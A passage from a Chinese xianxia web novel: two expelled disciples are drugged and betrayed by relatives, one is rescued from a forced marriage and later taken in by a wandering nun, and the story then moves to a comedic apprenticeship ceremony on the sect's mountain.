吴西西眼里直冒火星子,她这一路上几乎是嘴不停地在骂苏潋影和楚纤茉,诅咒她们早点去死,刘慧思看着她因为激动被牵动的伤口,忍不住劝道:“你消停点吧,这么骂人家能听得到吗?不如攒足力气先找个落脚的地方,再打听一下还有没有门派愿意收留我们。”
谢乙桥冷笑一声:“你没听见江荀怎么说的吗?被第一仙门除去仙籍,还有谁愿意收留我们,这不明摆着是打梵净山的脸吗?”
吴西西气得跳了起来,梗着脖子跟谢乙桥嚷:“照你这么说我们就应该混吃等死呗?若不是你这么废物,我何至于让那小贱人打伤了?”
谢乙桥也是憋了一路的火,想他大好的前途全都因为这女人的胡闹白白葬送了,焉有不恨之理?此时也是怒目圆睁,双眸泛着血丝,扬起手却被刘慧思制止了。
“谢乙桥!你算什么男人,还想动手打西西不成?”
“我……”
谢乙桥脸色涨红,他这一噎吴西西得着理了,紧赶两步扬着小脸:“你打啊!谢乙桥我告诉你,从今往后我跟你一刀两断、再无瓜葛!以前全当我眼瞎了,看上了你这么个废物点心!”
谢乙桥火撞顶梁,指着吴西西咬牙连说了几声“好”,扭头就走,嘴里还骂骂咧咧不停。
“我才不稀罕呢!鬼知道你同时跟几个男人好过……什么阿物儿,真当自己天仙下凡呢!我呸!倒了八辈子血霉碰上了你……”
吴西西气得脸色惨白,蹲在地上掩面痛哭,刘慧思俯身在旁边劝慰着。
“你也是,何必逞一时口快?我们现在无处可去,多一个人也多个照应,你把他气走了,往后我们俩该何去何从呢?”
得亏梵净山还算仁慈,没有直接废去他们的修为,可现在失去了仙剑,除了能保证自己不被野兽咬死、不被歹人盯上,似乎也跟废物无异了,做一个散修想要出人头地谈何容易?而心高气傲如吴西西、刘慧思,是不可能真的听天由命回家听从父母之命嫁人生子的,那一辈子就废了。
屋漏偏逢连夜雨,两人身上的盘缠很快就见底了,饥一顿饱一顿撑到槐荫镇已经弹尽粮绝,连续两天水米不沾唇。
刘慧思还好,可是吴西西大小姐自小娇生惯养,哪里受过这个苦,坐在街边的青石上不肯走了,她只要遇到不顺心的事就开始骂苏潋影和楚纤茉。
刘慧思去拉她的手,苦口婆心地劝,这几天嘴都磨起泡了。
“走吧,你不是有门亲戚在这个小镇上吗?到他家好歹能先吃顿饱饭,要不我背你走?”
“算了,你拉我起来就行。”
吴西西伸出了手,刘慧思牵住她的手将人拽了起来。
吴西西一见舅舅、舅妈就哭开了,抹着眼泪委屈巴巴扑进了舅妈怀里,抽抽嗒嗒将自己的经历诉说了一遍,还有这一路上吃了多少苦、走了多少路,直到饭菜摆上桌这才停下,擦擦脸端起了饭碗,和着眼泪往嘴里扒饭。
饿了吃糠甜如蜜,农家小炒在二人眼里就跟山珍海味一样,只是吴西西吃了没几口忽然眼睛向上一翻,手里的半碗米饭摔在了地上,人噗通一下倒在桌子上不省人事了,刘慧思惊愕了一瞬,也是跟吴西西一个情况。
吴西西的舅父舅母听到动静走了进来,相视而笑。
女人指着刘慧思道:“这丫头就留下给我们家做儿媳,希望将来我的孙子孙女也能有一丝仙缘,那我就阿弥陀佛了!”
男人看着吴西西邪笑道:“不得不说咱们这外甥女还真是长得花容月貌啊,咱儿子办喜事也需要一大笔钱,把这丫头卖给王员外做小妾,应该能得一大笔银子。”
女人有些担忧地看向自己丈夫:“这么做不会出什么岔子吧?”
男人冷笑:“说你是妇人之见吧,没听这丫头说她们被门派赶出来了吗?估计自己也没脸回家,到时候咱们看紧这个刘家丫头就好,至于西西,咱们得了钱,她要死要活随她去。”
吴西西是被手腕上传来的一阵阵刺痛给疼醒的,醒来发现自己趴在一张铺着腥红色床单的大床上,两手被反剪在身后捆得很结实,心里一阵惊慌,不知道究竟发生了什么,念动仙言咒语挣扎了几下也是于事无补,脑门上汗珠直往外冒,意识到手腕上绑着的是捆仙索。
现在她的仙剑要是还在斩断捆仙索易如反掌,可是……
吴西西咬紧了嘴唇,艰难地挪动身子从床上滚了下来,脚腕上也捆着绳子,她还没挪两步就不动了,眼睁睁看着门被推开,外面阴云密布,雷声滚滚,正下着瓢泼大雨,门被狂风刮开砰一下撞在了墙上,风雨随之灌进房间里,吹灭了屋子里所有的蜡烛。
一个微微佝偻着的身子朝她缓缓走了过来,他拖着一条瘸了的右腿,高一步低一步地缓慢走着,每走一步似乎都很费劲,喉咙里发出被黏痰堵住气管的嘶呵声。
门口传来一个年轻男子的声音:“爹,要孩儿扶您进去吗?”
那个瘸腿的男人发出愤怒的咒骂声:“老子今夜洞房花烛,你个没眼力见的玩意儿,还不滚出去!”
“是是是!”
年轻男子一气儿答应着,在外面阖上两扇门,脚步声渐渐远去。
房间里黑漆漆只剩下缩在床底下、死死咬着自己手臂、泪流满面的吴西西,还有那个一步步挪近的瘸腿男人,踢踢踏踏的走动声回响在房间里,一双粗糙的大手在床上摸来摸去,丝绸床单发出悉悉索索的声响,渗得吴西西起了一身的鸡皮疙瘩。
“噫?哪儿去了?”
瘸腿男人满屋子寻找她,嘴里发出令人作呕的诱哄声。
“我的心肝小宝贝,快出来吧,别躲了,我都看见你了!”
找了一会儿,老家伙不耐烦了,拍着桌子大声咒骂:“再不出来有你好瞧的!小贱蹄子,你听到了没有?等老夫找到你,玩腻了就把你卖到妓院去,让你变成个人尽可夫的臭婊子!”
吴西西缩在床底下不敢发出半点声音,死死咬着自己胳膊上的肉,眼泪无声地浸湿了衣衫。
心里有一个声音在颤抖着嘶喊。
师尊!师尊你在哪儿!救救西西,西西再也不任性了!
思思!谢乙桥,你们在哪里啊!
救救我,谁来救救我!
就在这时,她的脚腕忽然一紧,整个人从床底下被拖了出去,她垂死挣扎想要去抓住一点什么,却已经来不及了,整个人暴露在面目狰狞、皱纹堆累的瘸腿男人面前。
男人咬着牙,嘴角松松垮垮垂下去的肌肉疯狂颤抖着,抬脚就踹在吴西西身上,踹得她尖叫不止、满地打滚。
“小贱人!给脸不要!等我剥光了你,看看你是个什么货色!”
说着饿狼扑食一般朝她扑了过来,浊臭逼人的气息熏得吴西西作呕,然后就听见一声闷响,那个让她看一眼都头皮发麻的老畜生七窍流血直直倒在了地上,吴西西惊得瞪大了眼睛,还没尖叫出声就被一只大手捂住了嘴,对方是个穿着一身黑衣的成年男子,一弯腰扛起她就跑,窜出房门到了院子里,足尖一点地凌空跃起数十丈,落在屋檐上脚下如飞地跑着,很快就将那间宅子甩在了不知道什么地方。
吴西西整个人泡在雨里,被浇得浑身湿透才意识到自己暂时脱险了,委屈又狼狈地呜咽了起来,哭了没两声忽然头皮又炸开了,急忙拍着那人的后背,连声喊道:“停下!停下!”
“你发什么疯?”
男子被她打得上火,虽然不痛不痒,但是这女人哭哭啼啼,真的很烦。
“思思呢?思思在哪里?”
“那个跟你一起被药翻了的女人?别打了行不行!我带你去找她!”
吴西西听了这话才安静下来,挂在男人肩膀上一动不动了。
那男子的轻功堪称一绝,飞檐走壁如履平地,最后落在了一间破庙前,等吴西西连滚带爬地跑进庙里后,男子面无表情捂上了自己的耳朵。
“啊!!!!!!!”
等她尖叫完,男子才从容地迈步进庙,看着搂着一具尸体哭得撕心裂肺的吴西西,他倚靠着一根柱子不经意瞟了她一眼,咂舌道:“你瞪我做什么?人又不是我杀的。”
吴西西如同被激怒的野猫,扑上来就抓住了那人的胳膊,她浑身湿透,披头散发、面如死灰,如同一个女鬼,冲着男人嘶吼:“到底是谁害了她!”
男人无奈地摊手:“你这女人还真是蠢啊,谁害的自己还想不明白吗?那个谁,好像是一头撞在了桌角上,被一对半老夫妻抬过来打算埋在这破庙后面的,正巧被我撞到了,那姑娘还剩了一口气,说了个地点让我去救你,说自己下辈子做牛做马报答我,我要那么多牛马做什么……”
吴西西无力地瘫软在地上,手脚并用地朝刘慧思爬了过去,眼眸腥红一片,将刘慧思紧紧搂在自己怀里,脸颊贴着她的头顶,喃喃自语道:“我会给你报仇的,我一定会给你报仇的……”
雨夜里,黑衣男子一路跟着吴西西,看她走入一家院子,过了小半个时辰又面无表情地出来了
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,身上溅满了血点子,一步步摇晃着向前走去。
“喂,你干什么去?”
这一声仿佛唤醒了吴西西,她膝盖一软噗通一下瘫软在地,抱着自己的头无声地哭号着。
黑衣男子走近蹲了下来,这才听清她在说什么。
吴西西抱着脑袋痛苦地揪着自己的头发,嘴里喃喃念着:“我杀人了……我杀人了……”
男子无奈地将她从水坑里提起来:“杀人偿命,欠债还钱,你自责个什么劲儿?真是麻烦!”
吴西西靠在他怀里不动了。
不过短短几天,她的人生居然出现了如此翻天覆地的巨变,从高高在上的名门仙姝变成了一个弃徒,现在又成了个杀人犯,无论是仙门还是人间,再也容她不得,她走投无路,不知该何去何从,可是到底是为什么?她只是有点嫉妒苏潋影,凭什么?苏潋影一来到梵净山就成了万众瞩目的焦点?凭什么大家都围着她一个人转?凭什么自己要被赶出山门,凭什么要遭受这么多苦难!
吴西西狼狈地擦着自己脸上的雨水和泪水,想起了自己拜入梵净山以前,曾经也是羲和洲吴氏的大小姐,无人不称赞她的善良美丽,她跟着爷爷一起去开设粥棚,冬舍棉衣夏舍纱,到底为什么自己会变成这副样子?
想着想着,她忽然反应了过来,好像是遇到了刘慧思之后,她一直在自己耳边说苏潋影、楚纤茉她们的坏话。
西西,你才是最漂亮的仙子。
西西,苏潋影她们就是茶中之王,段位太高了,你怎么玩得过人家?
西西,谢乙桥最近好像跟苏潋影走得很近呀,你可当心点。
西西,我找到楚纤茉的把柄了,这次一定可以让她永世不得翻身……
吴西西呆呆地枯坐在破庙里,那个黑衣男子一直陪着她,看着她的面容由悲愤痛苦转为绝望死寂。
刘慧思已经死了,一定程度上是因她而死,而且她死之前还想着一定要救自己……她怎么样都不应该恨刘慧思。
可是苏潋影、楚纤茉她们就该恨吗?她们做错了什么吗?不过是比自己更优秀的两个女孩而已,这世界上人外有人、天外有天,比苏潋影优秀漂亮的女孩子大有人在。
自己一开始不过是有些嫉妒而已,可是这嫉妒最后在刘慧思的推波助澜下变成了仇恨,这仇恨仿佛一把火焰,烧光了她所珍视的一切——前途、友情……
其实,她最该恨的人难道不应该是自己吗?为什么要去嫉妒别人,为什么不能劝好朋友悬崖勒马?为什么一步踏错步步错,手上沾染了鲜血?
一只手搭在了她的肩膀上,那个蒙面男子半跪在她面前,掷地有声道:“我告诉你该恨谁……可怜的人类女孩。”
吴西西看着那男人露在蒙脸布外的两只深邃而漆黑的眼睛,渐渐的,那两只眼睛的颜色发生了变化,散发出淡淡的紫色光芒,那紫色光芒驱散了他眸底所有的黑色,最后两只眼瞳都化作了熟透的葡萄一般深沉的紫。
吴西西下意识地向后缩,牙齿咯咯颤抖:“你是……魔族……”
男子嗤笑一声:“放心,我不会伤害你的,因为我们是一样的,都是被命运捉弄的可怜人,知道怎么样才能改变这一切,把命运掌握在自己手中吗?”
“把命运掌握在自己手中?”吴西西痴痴地重复了一遍男子的话,目光无神地望着男子紫色的双眸,那双漂亮的紫眸仿佛一对深不见底的漩涡,这双眼睛她好像在哪里见过,同样的紫色眼眸,嘴里说着蛊惑人心的话。
“跟我合作吧。”
西西,你才是最美丽的女孩子。
“我会给你想要的一切,把你的灵魂交给我。”
西西,江师兄他们最近见了你都不打招呼了,肯定又是苏潋影她们背后说你坏话了。
笃——笃——笃——
不知是什么东西敲击的声音传入了吴西西耳管里,她猛然清醒了过来,用力推开了眼前的魔族男子翻身就往庙门外跑。
自己已经犯过两次错误了,绝不能一错再错!
“敬酒不吃吃罚酒!”
魔族男子引诱她上当不成说翻脸就翻脸,翻掌成勾向她后脑勺抓了过来,吴西西暗暗叫苦,她如今没有一丝力气,今日恐怕要命丧于此了。
头昏眼花的她被门槛一绊重重摔倒在地,因祸得福躲过了魔族男子的致命一击,而那种笃笃的敲击声也越来越近了,那个魔族男子似乎也听见了这个声音,眼神里闪过一丝纠结,居然转身就跑了,黑影消失在了夜色中,来无影去无踪。
吴西西连忙爬起来,不知那个声音是敌是友,安全起见先躲进了庙里。
58. 拜师大典
敲击声越来越近,来人似乎是个女的,迈步进入庙堂的脚步声很轻,与此同时敲击声也停了,那人悉悉索索不知在做什么,吴西西躲在供桌下面被破旧的桌布挡住了视线也看不见。
不过却清楚地听见了生火的声音,不一会儿烤馒头的香味就钻入了鼻孔,吴西西这三天里也就吃了两口带蒙汗药的白米饭,说多了都是泪,此时烤馒头的香味无孔不入地诱惑着她,肚子不争气地咕咕叫着。
庙里响起一个淡雅温和的女子声音。
“出来吧,烤烤火吃点东西。”
吴西西没办法再躲着了,这才从供桌下钻了出来,看着那人有点愣神。
那是个带发修行的妙龄女尼,身穿缁衣、头戴莲花冠,漫漫白纱自头顶垂下披在肩上,盘膝坐在一个干净的蒲团上,手里拿着串了两个白馒头的细长木棍,一抬头,慈眉善目,笑意盈盈,脸上的神情是不属于她这个年纪的随和与恬淡。
“坐。”
吴西西无法拒绝这个女尼,听话地坐在了她对面的蒲团上,那绝色女尼将烤好的馒头吹一吹,从木棍上取下来一个递过来,吴西西接在手里连道谢都来不及,狼吞虎咽地吃着,吃完这个后只觉得半饥半饱,更是难受,女尼似乎看了出来,将手里的馒头掰成两半又递过来半块。
吴西西忙摆摆手,却是不敢再接了,这女尼的日子似乎也很是拮据,人家本来就只有两个馒头,已经给了自己一个,怎么好再要呢?
女尼却笑笑,还是把半个馒头塞到了她手里,自己握着仅剩的半块,缓缓掰下一小口含进嘴里,她吃得很慢,嘴巴几乎不怎么动,吴西西呆呆地看着她,有些愣住了,等女尼吃完馒头,她才谦恭地问道:“敢问大师怎么称呼?”
“出家人本无名无姓,如果你觉得不方便的话,叫我妙慈就行。”
吴西西瞪大了眼睛,耳朵嗡了一声,半晌才发出声音:“你是妙慈?凛妙慈?你怎么会……”
当年的凛妙慈在秦川算是传奇人物,家喻户晓,吴西西曾经与她有一面之缘,当时两人都不过十二三岁的年纪,她捡起一个荷包站在香山寺前等失主,过来了一个穿着一身素白、柳眉杏眼的姑娘,接过了荷包笑吟吟道:“有劳吴小姐在此等候多时,无以为报不如我给小姐算一卦吧。”
这位奇奇怪怪的凛家四娘子前前后后看了她半晌,点点头又摇摇头,折腾了一会儿才云里雾里、颠三倒四说了一堆吴西西听不懂的话。
“本是艳桃秾李天生丽质,无奈狂蜂浪蝶闻风自来,交友需慎舞文弄刀者,缘法未尽、人性本善,我佛门前再会有期。”
吴西西再想起这几句话如五雷轰顶一般,直直跪在了凛妙慈面前,双眼发空看着她,嘴唇嗫嚅着。
“妙慈……不,大师,大师可否收留我?我愿意拜您为师,追随左右,端茶倒水别无二话!”
凛妙慈笑笑:“说什么追随不追随,我佛普度众生,你既尘缘已了,愿意跟着便跟着吧,只是贫尼徒步天下、四海为家,你若吃不了这份苦,也可以自行离去,来去由君。”
吴西西坚定地摇摇头,跪在地上对着凛妙慈磕了三个头,再抬头时,眼前多了一串白玉菩提珠。
再说谢乙桥,跟吴西西赌气一个人向着秦川方向走去,一直到天黑了找了家客栈吃完饭休息,躺在床上却翻来覆去怎么也睡不着。
吴西西那个人,花钱大手大脚从来也没个算计,没几天肯定又钱袋空空了。
不过有刘慧思在,两个人也有个照应……
想到这里两只眼睛又立起来,狠狠将被子扯上头顶,发誓再操心那个大小姐自己就是狗!
到了后半夜,某人几乎花完了身上积蓄买了匹快马又折返回去了,到了分手之地不见吴西西脑门出了一层汗,又继续往前赶路,推测吴西西可能是去了槐荫镇,谁知等到天亮听闻镇上出了惨绝人寰的杀人案,死的人是一对夫妻、一个老员外,还有一个年轻的外乡女子。
谢乙桥腿一软差点跌下马来,连滚带爬分开围观人群扑到四具尸体面前,颤抖的手掀开掩尸布,看到刘慧思的脸心脏乱颤,几乎是发疯般不顾官差阻拦掀了其他三具尸体的掩尸布,没有看到那张脸才松了口气。
“这小子举止诡异,看着也不像本地人,先给我拿下!”
随着捕快班头一声令下,几个官差立刻将失魂落魄的谢乙桥绳捆上绑。
谢乙桥渐渐冷静了下来,虽然不知吴西西现在身在何处,但绝对不能将她牵扯进去,跟衙门纠缠了几天,磨破嘴皮子才证明了自己的清白,而一早接到信的谢家家丁也正巧赶到,一大笔银子填饱了地方官,谢乙桥算是平安无事了,出了牢狱又陷入了迷茫中,吩咐家丁小厮们四下去寻找吴西西,自己也不敢闲着,回秦川去家里拿了知微镜一路寻找吴西西的下落……
且说一年之后便是拜师大典,万众瞩目的时刻,新入门的弟子们也是摩拳擦掌,经过一年的学习与各种考核,每个人都获得了一个综合评定成绩,这苏潋影和楚纤茉两个人算是不上不下,说的好听点叫还有很大的发展空间,说白了,半吊子拉倒……
众峰主再次齐聚云麓天台,连一向深居简出的摇情君匡月都早早就到位了,身后站定一人,乃是摇情峰首席弟子盛祁星,一向稳重的她今天也有些激动,不时看向台下清一色穿着广袖清莲袍的弟子们,师尊大人要是多收几个小师弟小师妹就好了,以后可有的玩了,摇情峰那一亩三分地上师尊是老大她是老二,这些后入门的小崽子岂不是任她搓扁揉圆?
掌门尚未到,众峰主们相互问候交谈着,围绕的自然是收徒的话题。
水云仙座下弟子最多,今年收徒意愿不大,却好奇一向挑剔的沈檀溪有没有中意的弟子,笑吟吟地朝她使眼色:“二师姐,有没有入你慧眼的啊?”
沈檀溪一双清冷凤眸扫过台下站得整整齐齐仿佛豆腐块的新弟子方阵,嘴角罕见地露出一抹微不可察的笑意:“我对他们倒没有多高的要求,师傅领进门修行靠个人,只要勤勉上进,我来者不拒,只是……”
说到这里脸上原本就浅淡的笑意迅速褪去,有些心悸地看向某个方向,默然念道:“希望那个人别找上我……”
芳蔼君白荼也是了然于胸,深以为然道:“只要她不来霍霍我,我回去一定给祖师爷烧三炷香。”
符珂嘴角带着调侃的笑意,看了看二师姐和九师妹,又朝她们使眼色:“放心吧,也不看那家伙天天往谁家跑得最欢,人家心里恐怕早有师父的人选了,我们可以高枕无忧了。”
沈檀溪、白荼、水云仙齐齐意味深长地“哦~”了一声,三道犀利的目光齐齐瞥向最末席不动声色的某师弟。
被师兄、师姐们接连艾特的花焚熠假装没听见,装得跟没事人一样。
就在这时掌门叶静秋踩着点来了,一看诸位师弟师妹都到齐了有些尴尬,连忙拱手道:“让诸位久等了,抱歉抱歉。”
心里直纳闷:不是,你们平时开会不都掐着点来的吗?今天怎么我成吊车尾的了?就说那七师弟,恨不得请上两万年的假,还有那小师弟,天天迟到早退、消极怠工,你俩今天也来得够早啊!
冗长的领导讲话一茬接一茬,从辰时讲到了巳时,台上的峰主们坐得昏昏欲睡,台下的弟子们站得双腿抽筋,就在这时叶斐同学放下整整二十多页的发言稿悄悄绕到掌门身后,俯身低头耳语道:“师尊,可以开始了……师尊,师尊醒醒!”
“!”掌门这才从睡梦中……咳,从闭目养神中清醒过来,看着贴心爱徒递过来的小纸条,站起身,声如洪钟地照着念:“我宣布,梵净山第二十三届新弟子毕业典礼暨拜师大典,现在——正式开始!”
台下响起雷鸣般的掌声,惊醒了犹在梦中的峰主团。
楚纤茉怯生生地看了云麓天台上的宋霜一眼,他正襟危坐、目不斜视,如同披霜裹素的一尊神像,让人不敢直视。
苏潋影在后面拿手指捅她后腰,低声怂恿道:“想去就去啊,过了这村可没这店了,咱就算实力不够但态度一定要积极!”
楚纤茉还在犹豫不决,苏潋影已经将她推出了人群,楚纤茉一个踉跄出离了方阵,脸上有如火烧,现在也不能回去了,只好上了云麓天台,看着一众衣冠济济、俨然若神明的峰主有些头晕,好容易才找到自己想找的人,她来到宋霜面前,轻提衣摆跪了下来,满脸通红声如蚊蚋道:“蘅泽君,弟子想拜您为师。”
宋霜看向她,放下了手中茶盏,问了几个问题。
楚纤茉一一回答,然后偷偷去看宋霜的神色,却不见任何异样,说不上满意也说不上不满意,又问了一个问题,楚纤茉却没有回答上来,急得脸颊绯红,额头有薄汗沁出。
宋霜看着那截快要燃尽的线香,轻轻叹息一声:“就算不知也该答话,既如此——”
“欸,稍等一下,蘅泽君,弟子有话想说。”
宋霜循声望去,看着那张有点印象的脸,轻轻“嗯”了一声。
就见苏潋影走到楚纤茉身边,笑着对宋霜一躬身:“蘅泽君,人非生而知之,您所出这最后一题恕我直言,若您未曾读万卷书、行万里路,也未见得能一口回答上来,纤茉她并非有意拖延时间,只是在深入思考,因为这个东西她曾经见过,而努力去思索一个虚无缥缈的答案,岂不是比知难而退更加可贵吗?”
宋霜看向楚纤茉:“既然如此,不知你现在可能答上?”
楚纤茉一脸纠结,最后红着眼眶摇摇头:“回蘅泽君,弟子不知,还请蘅泽君赐教。”
宋霜又看向苏潋影:“现在你又有何解?”
苏潋影一笑:“我们不过都是懵懂稚子,谁又能说全知全能呢?就比如仙君您,素有第一神医之称,但我问出一样东西,您定然不知此物能治何急症。”
一言既出全场哗然。
活腻了啊居然敢跟蘅泽君叫板?
宋霜既然身负名医之称,被一个小辈如此挑衅显然也有些生气了,神色越发冰冷:“你且讲来。”
苏潋影微笑道:“敢问蘅泽君,这刚出锅的热馒头治什么病?”
宋霜微微蹙眉,据他所知,民间一些封闭落后的地方有食用人血馒头治疗肺痨的做法,但此法并非正道,苏潋影无非是想挖个坑给他跳,名门正派岂能说出此等歪门邪道的治病之法,
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于是轻轻摇头:“馒头如何能治病?本君闻所未闻。”
苏潋影看向了楚纤茉:“楚楚,你知道吗?”
楚纤茉嘴角微微抽搐,低声道:“这馒头,大概,嗯,能治饿病……”
众人呆了一两秒,全场鸦雀无声、落针可闻,忽然爆发出一阵开了锅般的哄笑声,再看诸位峰主可真是千姿百态,水云仙笑得捶桌子,掌门脸色扭曲,符珂张大了嘴巴,沈檀溪拿扇子遮住了半张脸神色有些不自然,低咳一声似笑非笑:“没想到宋师弟居然让两个小丫头给带沟里去了,稀奇啊……”
花焚熠笑得春风得意,眸光落在苏潋影身上,却道:“这道题太过刁钻古怪,师兄答不上来也正常,莫要跟小孩子一般见识。”
眼见一众师弟师妹就知道看热闹说风凉话,叶静秋连忙打圆场,神色一凛瞪向苏潋影,喝令道:“简直是胡闹,再要是出言不逊扰乱大典,取消你俩的拜师资格!”
这话一出无疑镇住了所有的弟子,天台下面立刻噤若寒蝉,苏潋影她们的新晋死对头却得意洋洋地小声嘀咕起来,没错,这姐俩也不知是什么体质,拉仇恨这方面占着一绝,不过也是小打小闹,顶多嘴炮攻击对方,不痛不痒,给苏潋影无聊的修炼生涯平添了一丝乐趣。
“就知道哗众取宠,活该!”
“哼,取消她们的拜师资格就老实了。”
这时宋霜微微向掌门一拱手,倒显得最是从容镇定,也不排除向来面瘫的可能,语气清冷淡漠:“掌门师兄,知之为知之,不知为不知,这两人所言细细想来倒也有一番道理,既是诚心拜师,宋霜焉有拒之门外之理。”
叶静秋听他这么说也点点头。只要师弟能下得了台就好,其他的他也不想管,于是颔首道:“既然师弟有自己的看法,那就自行决定吧。”
宋霜道声谢回过头来,见跪在自己面前的楚纤茉依旧神色紧张,不安地用手绞着自己的袖带,他声淡如水:“你起来吧。”
楚纤茉闻言默默站了起来,静静立在一边,苏潋影轻轻拉住她的手,低声安慰道:“没关系的,谋事在人成事在天,你已经尽力了。”
楚纤茉一听这话眼睫一颤,大颗大颗的泪水断线珠子似的滚滚而落,啪嗒啪嗒砸在衣襟上、地板上。
宋霜按在膝头的一手微微收紧,假装没看见,垂着眼眸沉声道:“往后多加努力便是,若有心学医,拜不拜我为师又有什么分别。”
楚纤茉浑身一颤,眼睫愈发沉重,被眼泪尽数打湿,几乎是咬着嘴唇颤声道:“是,弟子谨遵蘅泽君教诲……”
苏潋影虚扶着失魂落魄的楚纤茉转身下了云麓天台,楚纤茉在下楼梯的时候不知怎的踩空了,膝盖重重磕在了台阶上,苏潋影慌忙去搀扶她,嘴里嘀嘀咕咕还说着什么。
云麓天台上已经有别的弟子上前拜师了,没有人注意到这点小插曲,宋霜不知道眼前何时又跪了一个人,他随口又问了几个问题,那弟子答得七七八八,令他很是不满,但也不知为什么,顺手拿过搁在桌上玉盘里的宫花递给了他……
楚纤茉看着接下来一个个弟子都从宋霜手里获得了宫花,成功拜入他门下成为了他的徒弟,又恼又悔,百爪挠心一般,不知是什么滋味,或许自己就输在最后一个问题上了,应该直接向仙君求教的,现在这样只能怪自己学艺不精吧……
苏潋影却气炸了:“凭什么啊,他有病吧,那货都超时了凭什么还收他入门,脑子有坑吧这回答的还没有你一半好,靠,气死我了,那个一问三不知的也收入门下?他是得什么大病了专门收残次品吗?”
楚纤茉有些精神恍惚,身边已经聚集起了一堆人,林瑶递过来了一方素色手帕,一手轻轻搭在她肩膀上,面容恬静中带着怅然,凑近她低声安抚道:“不是你的错,许是蘅泽君另有收徒的标准,不过路遥知马力,你这般勤奋刻苦,他一定也是看在眼里的。”
苏潋影连忙搭腔道:“是啊是啊,要不你干脆跟我一起拜师吧,方便我照顾你啊,你一个人在蘅泽峰我还真不放心,闷嘴葫芦一样肯定被人欺负!”
一向对苏潋影言听计从的楚纤茉这时候却摇摇头,微垂螓首,声音柔弱却坚定道:“我没事,无论如何我是一定要进蘅泽峰的,今年不行就明年,明年不行就后年。”
林瑶看着逐渐平静下来的楚纤茉有些动容,恍若看见了曾经的自己,只要明确了自己心中想要的,那就咬定青山不放松,纵使遇到再多艰难险阻也决不放弃。
她点点头,由衷地肯定道:“嗯,我相信你,纤茉你一定会成功的。”
楚纤茉冲她甜甜一笑露出两个浅浅的梨涡,随后想起了什么连忙去推苏潋影:“苏苏你怎么还在这儿,拜师大典都快结束了!”
林瑶帮她整理了一下额前的刘海和有些歪掉的发带,这才满意地点点头:“快去吧。”
看着重新上台的苏潋影,众峰主个个屏息凝神,恨不得化作一阵清风飘然而去,喝茶的喝得越发投入,仿佛那是琼浆玉液,摇扇的摇得清风徐徐,差点给两旁边的峰主都吹感冒了,看书的恨不得把脑袋塞进书本里,大家一瞬间似乎都很忙,忙得没工夫搭理某弟子。
59. 天作之合
苏潋影一个虎扑跪在了某峰主面前,两手举过头顶,纳头便拜:“师父大人在上,请受徒儿一拜!”
符珂一口茶直接喷了出去,苏潋影灵巧地一闪身避过了水柱,笑嘻嘻地看向他:“怎么呢师父,高兴坏了吧?”
符珂惊魂未定地往椅子里缩了缩,仿佛看见厉鬼索命来了:“你,你又想做什么?不就是前几个月没给你凝水丹吗,至于怀恨在心这么报复我?”
说着哆哆嗦嗦从袖子里摸出一堆乱七八糟的瓶瓶罐罐跟送瘟神一样塞进她怀里,摆摆手跟撵狗一样:“去吧去吧乖孩子,霍霍别人好不好,我年纪大了,再让你气两回容易青年早逝啊!”
众峰主见符珂要祸水东引个个拍案而起,怒目横眉。
沈檀溪眉头一皱,呔了一声:“三师弟这就是你的不对了,人家诚心拜师你就收下呗,踢皮球算什么?”
符珂冷笑:“二师姐座下冷冷清清,何不把这活宝带回去热闹热闹?”
沈檀溪噌一下站了起来:“我忽然想起出来忘关门了,告辞告辞!”
说着一闪身消失地无影无踪。
二师姐溜得不要太快啊!
见此状其他人也是如坐针毡,特别是当苏潋影有意无意往他们身上瞥了一眼时,几个峰主登时坐不住了,那也是八仙过海各显神通……
“我这边名额已满啊……”
说着将剩余的宫花一股脑塞进袖子里。
“咳咳,我掐指一算,这辈子跟姓氏里带草头、名字里带三点水的八字不合,爱莫能助啊。”
苏潋影一阵无语,你提我名得了。
重新笑吟吟看向最初认定的符珂,眨眨大眼睛笑得一脸纯良无公害:“您要不出几道题考考我呀?”
符珂牙疼地别去脸去,单手扶额,如今还有什么办法,只能将最后的希望寄托于考题上了,只要一个字回答错误他就让这小瘪犊子滚蛋!
主意既定,于是肃然开口问道:“上品清风散怎么制作?”
苏潋影眼珠一转,滔滔不绝地开口:“回太曦君,制作上品清风散需要准备清明前后的龙井茶嫩叶两钱,雾山上的霜叶薄荷两钱,鲛人泪三滴,收集四季之风于玄霜天雷炉中炼制七七四十九天,收集入施加符咒术的琉璃瓶中,上品清风散色泽清透似翡翠,只消打开瓶盖闻一下则神清气爽,可解一切迷烟迷雾致幻效果。弟子回答完毕,不当之处还请峰主赐教。”
符珂欲哭无泪,这是天要亡我啊,她甚至连个标点符号都没说错,无奈只能舍身取义,收下这泼猴。
他这边一松口,众峰主都是长舒一口气坐稳了屁股底下的椅子,苏潋影美滋滋地接过师父递过来的宫铃,又叩拜了三下,在符珂牙疼的表情中缓步离去。
改日,某拜入太曦君座下的新弟子美得不行,一边哼着歌一边在山间小径上溜达,踮脚去够一枝玉兰,她其实也没想真的摘下来,就是手贱想摸一下,没想到有人抬手啪一声将那花折下来递到了她面前,苏潋影个头矮只能看到一片白衣,以及那人胸前垂落的几缕墨发。
“不是想要吗?拿着。”
苏潋影接过那支玉兰花,抬眸看向眼前人,仿佛看见过年讨债的了。
“多谢小师叔……”
花焚熠脸上不见任何笑容,自顾自往前走去,苏潋影在原地站了半刻连忙小跑着跟了上去,腰间挂的两颗金铃叮当作响。
花焚熠听着那急促的铃音趋向缓和,恢复有韵律的细碎声响,知道她就跟在自己侧后方,默然开口道:“在太曦峰住得可还习惯?”
苏潋影点点头,又道:“挺好的,太曦峰的师兄师姐们也很照顾我,师尊他虽然嘴上说着不喜欢我,但其实还是很认真负责的。”
师尊……认真负责……喜欢……
几个词在花焚熠脑海中飘忽不定,如同驱赶不散的飞蛾萦绕在他眼前,心烦得厉害。
“以前倒是没听说过你喜欢符咒炼丹之术。”
苏潋影想了想,这事的确没跟花焚熠提起过。
“符咒一道进可攻退可守,我觉得前途甚是光明啊,驱鬼捉妖自不必说,炼上几瓶丹药下山去卖也能小赚一笔啊。”
“你就为了这个拜入了太曦峰?”
花焚熠忽然驻足回过了身,那双淡色的桃花眸里似有火焰掠过,不过很快又恢复了淡然无波的模样,目视前方:“我是说,你应该好好考虑一下,自己究竟适合什么样的道路,不要脑子一热就做出决定。”
苏潋影:“那我现在师父都已经拜完了,说这些有什么用?”
话音刚落肩膀忽然一痛,她轻轻嘶了一声,花焚熠捏住她双肩的手立刻触电般缩回,眸光飘向别处:“抱歉……”
